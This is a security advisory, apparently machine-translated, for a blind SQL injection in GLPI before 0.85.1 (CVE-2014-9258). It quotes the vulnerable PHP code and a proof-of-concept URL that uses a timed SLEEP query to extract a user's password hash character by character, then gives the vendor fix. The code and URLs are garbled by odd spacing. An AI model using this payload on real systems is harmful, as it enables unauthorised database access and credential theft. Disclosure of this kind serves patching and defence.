GLPI 0.85 blind SQL Injection Vulnerability

GLPI 0.85 blind SQL Injection Vulnerability

Release date:
Updated on:

Affected Systems:
GLPI <0.85.1
Description:
CVE (CAN) ID: CVE-2014-9258

GLPI is a computer and equipment management system.

In versions earlier than GLPI 0.85.1, ajax/getDropdownValue. php has the SQL injection vulnerability. authenticated remote users can use the condition parameter to execute arbitrary SQL commands.

<* Source: Kacper Szurek

Link: http://osvdb.org/show/osvdb/115957
*>

Test method:

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
# Exploit Title: GLPI 0.85 Blind SQL Injection
# Date: 28-11-2014
# Exploit Author: Kacper Szurek-http://security.szurek.pl/http://twitter.com/KacperSzurek
# Software Link: https://forge.indepnet.net/attachments/download/1899/glpi-0.85.tar.gz
# CVE: CVE-2014-9258
# Category: webapps

1. Description

$ _ GET ['condition'] is not escaped correctly.

File: ajax \ getDropdownValue. php
If (isset ($ _ GET ['condition']) &! Empty ($ _ GET ['condition']) {
$ _ GET ['condition'] = rawurldecode (stripslashes ($ _ GET ['condition']);
}
If (isset ($ _ GET ['condition']) & ($ _ GET ['condition']! = '')){
$ Where. = "AND". $ _ GET ['condition']. "";
}
$ Query = "SELECT '$ Table'. * $ addselect
FROM '$ table'
$ Addjoin
$ Where
Order by $ add_order '$ table'. 'completename'
$ LIMIT ";

If ($ result = $ DB-> query ($ query )){

}

Http://security.szurek.pl/glpi-085-blind-sql-injection.html

2. Proof of Concept

Http: // glpi-url/ajax/getDropdownValue. php? Itemtype = group & condition = 1 AND id = (select if (substr (password, 1, 1) = CHAR (36), SLEEP (5), 0) FROM 'glpi _ users' where id = 2)

3. Solution:

Update to version 0.85.1
Http://www.glpi-project.org/spip.php? Page = annonce & id_breve = 334 & lang = en
Https://forge.indepnet.net/attachments/download/1928/glpi-0.85.1.tar.gz

Suggestion:
Vendor patch:

GLPI
----
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.glpi-project.org/spip.php? Page = annonce & id_breve = 334 & lang = en
Https://forge.indepnet.net/attachments/download/1928/glpi-0.85.1.tar.gz

This article permanently updates the link address: